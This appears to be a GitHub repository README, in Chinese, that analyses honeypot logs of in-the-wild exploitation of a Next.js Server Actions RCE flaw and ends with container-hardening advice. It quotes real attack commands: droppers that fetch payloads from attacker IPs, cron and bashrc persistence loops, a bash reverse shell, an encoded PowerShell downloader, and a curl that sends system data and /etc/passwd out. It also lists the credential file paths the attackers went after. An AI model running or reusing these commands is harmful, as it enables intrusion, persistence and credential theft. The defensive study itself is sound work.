Skip to content

ExpTechTW/CVE-2025-66478

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

CVE-2025-66478 - Next.js Server Actions RCE 漏洞實際攻擊日誌分析

概述

本專案收集了一個暴露在網際網路上的 Next.js 15.1.2 應用程式(執行於 Docker 容器中)所記錄的真實攻擊日誌。這些日誌展示了 CVE-2025-66478 漏洞在野外被大量自動化攻擊工具掃描和利用的情況。

紀錄時間範圍: 2025-12-04 ~ 2025-12-06(約 48 小時)

環境資訊:

  • 框架: Next.js 15.1.2
  • 執行環境: Bun v1.2.20
  • 容器: Docker (Alpine Linux)
  • 時區: Asia/Taipei

攻擊類型統計

1. 惡意程式下載與執行(Dropper/Downloader)

攻擊者嘗試透過漏洞執行下載惡意程式並執行的指令。

攻擊來源 IP 惡意載荷 URL 說明
216.158.232.43 http://216.158.232.43:12000/sex.sh 殭屍網路/挖礦程式
38.207.161.212 http://38.207.161.212/agent 惡意 agent 程式
43.156.63.124 http://43.156.63.124/tsd 植入 cron 後門
154.38.121.219 res.qiqigece.top/nginx3 偽裝成 nginx 的惡意程式
47.79.42.91 iot.632313373.xyz/nz.sh IoT 殭屍網路腳本
47.79.65.237 sup001.oss-cn-hongkong.aliyuncs.com/python1.sh 挖礦/後門程式
103.135.101.15 http://103.135.101.15/wocaosinm.sh 惡意腳本
38.12.24.231 http://38.12.24.231/kworker 偽裝成 kernel worker 的惡意程式
128.199.194.97 http://128.199.194.97:9001/setup2.sh 初始化腳本

攻擊指令範例

# 典型的 dropper 攻擊
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# 植入 cron 持久化後門
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# 複雜的持久化攻擊(嘗試多種下載方式 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

2. 反向 Shell(Reverse Shell)

攻擊者嘗試建立反向 shell 連線以取得互動式存取。

# Bash 反向 shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

3. PowerShell 攻擊(針對 Windows 的誤判)

攻擊者假設目標是 Windows 系統,嘗試執行 PowerShell 指令。

# Base64 編碼的惡意 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# 解碼後:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# 數學計算用於漏洞確認
powershell -c "41*271"      # = 11111(特徵碼確認)
powershell -c "44225*41002" # = 1814113450

4. 資訊收集(Information Gathering)

攻擊者嘗試收集系統資訊以便後續攻擊。

# 系統資訊收集並外傳
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

5. 憑證竊取(Credential Harvesting)

攻擊者嘗試讀取各種敏感檔案和憑證。

嘗試讀取的敏感路徑

類別 路徑
雲端憑證 /root/.aws/credentials, /root/.aws/config
/root/.config/gcloud/credentials.db
/root/.config/gcloud/application_default_credentials
SSH 金鑰 /root/.ssh/id_rsa, /root/.ssh/config
Git 憑證 /root/.git-credentials, /root/.gitconfig
容器/K8s /root/.docker/config, /root/.kube/config
/var/lib/kubelet/config.yaml
應用程式 /proc/self/cwd/serviceAccountKey.json(Firebase)
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma
Shell 歷史 /root/.bash_history, /root/.zsh_history
雲端工具 /root/.ossutilconfig(阿里雲 OSS)
/root/.npmrc
系統設定 /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow

6. 環境變數外洩

透過漏洞成功外洩的容器環境變數:

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

7. DNS 外傳(DNS Exfiltration)

攻擊者使用 DNS 查詢進行資料外傳或漏洞確認:

ping 5a58e4a0.log.dnslog.pp.ua.

攻擊失敗原因

大多數攻擊之所以失敗,是因為 Alpine Linux 容器的精簡特性:

缺少的工具 影響
curl 無法下載惡意載荷
bash 無法執行 bash 特定語法(如反向 shell)
powershell Windows 攻擊無效
python 無法使用 Python 下載器

雖然 wget 可用,但部分惡意腳本內部仍依賴 curlbash,導致執行失敗。


Base64 解碼範例

日誌中包含大量 Base64 編碼的資料,以下是部分解碼結果:

系統資訊外洩

# digest: 'cm9vdAo='
解碼: root

# digest: 'dGVzdAo='
解碼: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
解碼: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
解碼: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

目錄列表外洩

# /tmp 目錄內容
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

解碼:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

攻擊來源 IP 統計

以下是紀錄到的攻擊來源 IP 位址:

IP 位址 國家/地區(推測) 攻擊類型
216.158.232.43 美國 Dropper
38.165.44.205 美國 Dropper
23.95.44.80 美國 Dropper
154.38.121.219 香港 Malware(nginx3)
38.207.161.212 美國 Agent
43.156.63.124 中國 Cron 後門
47.79.42.91 中國(阿里雲) IoT 殭屍網路
47.79.65.237 中國(阿里雲) 挖礦程式
119.45.243.154 中國(騰訊雲) 挖礦程式
144.22.210.54 巴西 Dropper
217.60.249.228 瑞典 Dropper
154.26.192.32 美國 反向 Shell
156.234.209.103 未知 PowerShell 載荷
38.60.212.106 美國 資訊收集
103.135.101.15 越南 殭屍網路
128.199.194.97 新加坡(DigitalOcean) Setup 腳本
38.12.24.231 美國 持久化惡意程式

漏洞利用手法(Attack Vectors)

Server Action 呼叫

攻擊者嘗試呼叫不存在的 Server Action:

Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

錯誤回應中的資訊外洩

攻擊者利用錯誤訊息中的 digest 欄位來外洩資料:

Error: x
  digest: 'cm9vdAo='  // Base64 編碼的 'root'

教學重點

1. 容器安全最佳做法

  • 最小化映像檔: 使用精簡的基礎映像檔(如 Alpine)可減少攻擊面
  • 移除非必要工具: 不安裝 curl, bash, python 等可能被濫用的工具
  • 唯讀檔案系統: 使用 --read-only 執行容器
  • 非 root 使用者: 以非特權使用者執行應用程式

2. 漏洞修補

  • 升級 Next.js 至已修補版本
  • 驗證 Server Action 的輸入
  • 實施 WAF 規則過濾可疑請求

3. 監控與偵測

  • 監控異常的子程序執行
  • 監控網路對外連線請求
  • 監控敏感檔案存取嘗試

免責聲明

本專案僅供資安教育與研究目的。所有紀錄的攻擊都是針對研究用蜜罐的真實攻擊嘗試。請勿將此資訊用於任何非法目的。


惡意程式樣本

本專案包含從攻擊日誌中擷取並下載的真實惡意程式樣本,詳細分析請見:

malware_samples/ANALYSIS.md

已取得樣本

檔案 類型 大小 來源 威脅等級
nz.sh Shell Script 931 B iot.632313373.xyz
tsd.sh Shell Script 1.7 KB 43.156.63.124
tsd ELF 64-bit 6.8 MB 43.156.63.124
init.sh Shell Script 6.1 KB AWS S3 嚴重
agent ELF 64-bit 23.7 MB AWS S3 嚴重
Agtisx.exe PE32+ (Windows) 24.0 MB AWS S3 嚴重

攻擊手法摘要

  1. nz.sh - 安裝哪吒監控 Agent,用於遠端監控受害主機
  2. tsd.sh + tsd - 建立多重持久化機制(cron + systemd + rc.local)
  3. init.sh + agent - 完整的後門框架,支援多系統、自動重啟、日誌紀錄

相關資源


授權

MIT License

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages